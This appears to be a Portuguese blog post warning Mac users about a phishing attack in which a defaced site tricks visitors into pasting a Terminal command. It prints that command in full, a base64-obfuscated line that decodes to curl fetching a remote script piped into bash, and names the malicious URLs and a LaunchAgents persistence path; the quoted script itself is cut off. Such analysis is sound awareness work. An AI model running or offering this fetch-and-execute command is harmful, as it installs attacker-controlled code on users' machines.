Neste artigo eu tenho como objetivo apresentar uma experiência que tive neste final de semana e achei interessante que é um ataque de phishing voltado para usuários de Mac OS. O principal objetivo aqui é mostrar como pessoas mal intencionadas realizam ataques a usuários que sequer seriam pegos pelo anti vírus ou mesmo pelo GateKeeper.
Um website que eu não irei divulgar o nome por questões de segurança havia sido atacado neste final de semana. O ataque foi um defacement que direcionava o usuário via Javascript para uma url externa
https://process-ahead04.b-cdn.net/processingtz.html
No ataque o site induz o usuário a executar um comando na máquina local
Este site por usa vez tem como objetivo "identificar as credenciais do usuário" então ele solicita para o usuário abrir o terminal e realizar um command + v no terminal. Quando o usuário clica em Verify na verdade ele salva no clipboard da máquina o seguinte conteúdo:
echo "Y3VybCAtcyAnaHR0cHM6Ly91bmlxdWVseWJsaW1wLmljdS9zY3JpcHQuc2gnIHwgYmFzaA==" | base64 -d | bash
O comando acima faz o seguinte, ele é uma chamada para um script externo que é chamado via curl que é um comando nativo do Mac OS que permite fazer requests a sites ou apis. O comando acima na verdade oculta o seguinte comando:
curl -s 'https://uniquelyblimp.icu/script.sh' | bashO comando acima baixa na máquina do usuário um script auto executável e a saída deste download ele executa via Bash que é um Shell nativo no Mac OS permitindo que o script que acabou de ser baixado seja executado na máquina do usuário.
O conteúdo que foi baixado é algo como:
Como podem ver o conteúdo está "criptografado" com Base64 mas pode ser fácilmente lido usando base64decode.
A parte mais bizarra está aqui, no script auto executável básicamente o que ele faz é instalar um agenda "LaunchAgents" que fica oculto na máquina do usuário dentro de Library e tem como arquivo de configuração um plist em $HOME/Library/LaunchAgents/com.dvohdgzstrwqhvjz.plist.
Segue abaixo na integra o conteúdo do script para que TODOS saibam e não caiam neste golpe
do shell script "

Ataques de phishing estão cada vez mais arrojados então adote como premissa nunca confiar em solicitações de acesso de empresas.
